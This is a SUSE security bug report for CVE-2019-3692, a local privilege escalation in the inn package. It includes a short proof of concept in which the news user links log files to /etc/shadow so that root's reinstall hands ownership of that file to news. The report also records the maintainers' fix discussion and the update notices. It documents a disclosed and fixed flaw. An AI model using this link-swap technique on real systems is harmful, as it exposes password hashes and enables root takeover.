Bug 1154302 (CVE-2019-3692)

Summary: VUL-0: CVE-2019-3692: inn: LPE from news to root
Product: [Novell Products] SUSE Security Incidents Reporter: Johannes Segitz <jsegitz>
Component: AuditsAssignee: Michael Schröder <mls>
Status: RESOLVED FIXED QA Contact: Security Team bot <security-team>
Severity: Normal    
Priority: P3 - Medium CC: meissner
Version: unspecified   
Target Milestone: ---   
Hardware: Other   
OS: Other   
URL: https://smash.suse.de/issue/245797/
Whiteboard: CVSSv3:SUSE:CVE-2019-3692:7.0:(AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) obs:running:11861:moderate
Found By: --- Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---
Bug Depends on:    
Bug Blocks: 1154062    

Description Johannes Segitz 2019-10-17 09:47:50 UTC
259 %post
260 mkdir -p var/log/news
261 touch var/log/news/news.notice
262 touch var/log/news/news.err
263 touch var/log/news/news.crit
264 touch var/log/news/news
265 touch var/log/news/inn.status
266 touch var/log/news/innfeed.status
267 chown news:news var/log/news/news.notice var/log/news/news.err var/log/news/news.crit var/log/news/news var/log/news/inn.status var/log/news/innfeed.status

allows LPE from news user to root on systems with fs.protected_hardlinks=0

POC:
sh-5.0$ id
uid=9(news) gid=13(news) groups=13(news)
sh-5.0$ pwd
/var/log/news
sh-5.0$ rm innfeed.status
sh-5.0$ ln /etc/shadow innfeed.status

as root: zypper in -f inn
ls -lah /etc/shadow
-rw-r----- 3 news news 1.6K Oct 17 11:43 /etc/shadow
Comment 1 Michael Schröder 2019-10-17 10:00:41 UTC
Good catch! Is it sufficient to just use chown -h?
Comment 2 Johannes Segitz 2019-10-25 11:26:25 UTC
Works also with symlinks.
sh-5.0$ id
uid=9(news) gid=13(news) groups=13(news)
sh-5.0$ pwd
/var/log/news
sh-5.0$ rm news
sh-5.0$ ln -s /test/shadow news
sh-5.0$ ls -l /test/shadow
-r-------- 1 root root 1228 Oct 25 11:13 /test/shadow

reinstall inn

sh-5.0$ ls -l /test/shadow
-r-------- 1 news news 1228 Oct 25 13:17 /test/shadow

Please use CVE-2019-3692 to track this. Can be made public at any time.

chown -h helps to prevent the easy exploit with symlinks. If fs.protected_hardlinks=0 is set an attacker can use hardlinks to trick chown.

Since /var/log/news belongs to news you can use runuser as news to touch the log files, no need to chown them later with that
Comment 4 Michael Schröder 2020-01-24 16:15:22 UTC
Ok. Done.
Comment 5 Michael Schröder 2020-01-24 16:16:15 UTC
Do we also need a fix for SLE11?
Comment 6 Swamp Workflow Management 2020-01-24 16:52:10 UTC
This is an autogenerated message for OBS integration:
This bug (1154302) was mentioned in
https://build.opensuse.org/request/show/766966 15.1 / inn
Comment 9 Swamp Workflow Management 2020-02-19 23:12:00 UTC
openSUSE-SU-2020:0234-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154302
CVE References: CVE-2019-3692
Sources used:
openSUSE Leap 15.1 (src):    inn-2.5.4-lp151.3.3.1
Comment 10 Swamp Workflow Management 2020-02-24 23:11:47 UTC
openSUSE-SU-2020:0242-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154302
CVE References: CVE-2019-3692
Sources used:
openSUSE Backports SLE-15-SP1 (src):    inn-2.5.4-bp151.4.3.1
Comment 11 Johannes Segitz 2020-07-20 12:30:30 UTC
fixed, thanks for the submits